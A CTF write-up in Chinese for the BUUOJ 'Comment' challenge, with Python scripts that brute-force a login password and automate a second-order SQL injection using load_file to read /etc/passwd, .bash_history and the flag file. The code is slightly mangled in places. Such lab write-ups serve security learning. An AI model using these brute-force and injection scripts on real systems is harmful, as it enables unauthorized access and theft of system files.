Comment
爆个密码
import requests
for i in range(100, 999):
url = "http://f3caed00-9b73-4517-a2de-e172ccadda8e.node4.buuoj.cn/login.php"
data = {
"username": "zhangwei",
"password": f"zhangwei{i}"
}
res = requests.post(url=url, data=data)
if "429" in res.text:
i = i - 1
elif "error" not in res.text:
print(i)
print(res.text)
break
git泄露

发现这里的php代码不全,于是查看前面的版本的文件

存在二次注入,先Write后进行Comment,每次都进行了addslashes过滤,传入的
category=',content=user(),/*
后面的content进行闭合*/#
。
撸个脚本方便命令执行(直接改command参数即可):
import requests
import reimport requests
import re
def write(url):
command = "(select load_file('/etc/passwd'))"
headers = {
'Cookie': 'PHPSESSID=p5r4f36q04dj6v0r02mshrh737',
}
data = {
"title": 1,
"category": f"',content={command},/*",
"content": 2
}
res = requests.post(url=url + "write_do.php?do=write", headers=headers, data=data)
cid = re.findall("<input hidden name='id' value='(\d*)'>", res.text)[-1]
comment(url, cid)
def comment(url, cid):
headers = {
'Cookie': 'PHPSESSID=p5r4f36q04dj6v0r02mshrh737',
}
data = {
"content": "*/#",
"bo_id": cid
}
res = requests.post(url=url + "write_do.php?do=comment", headers=headers, data=data)
out = re.findall('</label><div class="col-sm-5"><p>([\s\S]*)</p></div></div>', res.text)[-1]
print(out)
if __name__ == "__main__":
url = "http://f3caed00-9b73-4517-a2de-e172ccadda8e.node4.buuoj.cn/"
write(url)
查看历史记录
在终端敲过的命令,linux是有记录的,默认可以记录500条历史命令。这些命令保存在用户的宿主目录中的.bash_history文件中。
command = "(select load_file('/home/www/.bash_history'))"
大概流程:将tmp目录下的html.zip解压移动到/var/www/目录下,并且删掉目录下的.DS_Store,然后开启Apache服务器,但是/tmp/html/下的.DS_Store没有删除。
由于该文件为二进制文件,有不可见字符,用hex函数转换读取。

找到文件flag_8946e1ff1ee3e40f.php
command = "(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')))"
这题的动态flag只设置在了/var/www/html/目录下,/tmp/目录下面没有修改动态flag,其实不太符合题目逻辑,但是也不打紧。
Last modified 8mo ago